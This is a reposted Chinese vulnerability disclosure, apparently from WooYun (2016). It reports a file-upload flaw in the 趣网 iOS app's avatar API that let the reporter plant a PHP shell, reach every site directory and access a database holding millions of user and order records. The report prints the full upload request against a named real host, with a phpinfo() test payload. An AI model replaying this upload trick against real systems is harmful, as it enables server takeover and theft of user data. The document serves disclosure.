神刀安全网

漏洞标题: 趣网某漏洞Getshell导致所有站点/数据库沦陷(涉及435W+用户数据/68W+交易订单)

漏洞详情

披露状态:

2016-05-27: 细节已通知厂商并且等待厂商处理中
2016-05-27: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

目标:趣网IOS APP

检测发现在头像上传处修改上传类型后可上传php shell

code 区域
POST http://api.m.qu.cn/common/uploading HTTP/1.1
Host: api.m.qu.cn
Content-Type: multipart/form-data; boundary=Boundary+8A4D20ACA86A94A3
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive
Content-Length: 196
User-Agent: QuWangGiftApp/2.1.0.8 (iPhone; iOS 9.3.2; Scale/2.00)
Accept-Language: zh-Hans-CN;q=1, en-US;q=0.9
Authorization: 433c36a6c26ecdf181062b7bf283f730
app-agent: version=2.1.0,platform=ios,app_store_name=zapp-app_store,uuid=A0336882-9207-4BED-B9A3-40B536A9D323,software_version=ios9.3.2,models=iPhone,package_name=com.hongju.qwapp

--Boundary+8A4D20ACA86A94A3
Content-Disposition: form-data; name="file"; filename="upLoad.txt"
Content-Type: application/php

<?php
phpinfo();
?>
--Boundary+8A4D20ACA86A94A3--

上传后通过返回可知shell路径

漏洞证明:

1、可同全部站点目录

漏洞标题:  趣网某漏洞Getshell导致所有站点/数据库沦陷(涉及435W+用户数据/68W+交易订单)

2、翻了下发现数据库连接串,连接后涉及435W+用户数据/68W+交易订单,shell已删,具体就不深入了~

漏洞标题:  趣网某漏洞Getshell导致所有站点/数据库沦陷(涉及435W+用户数据/68W+交易订单)

漏洞标题:  趣网某漏洞Getshell导致所有站点/数据库沦陷(涉及435W+用户数据/68W+交易订单)

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 趣网某漏洞Getshell导致所有站点/数据库沦陷(涉及435W+用户数据/68W+交易订单)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址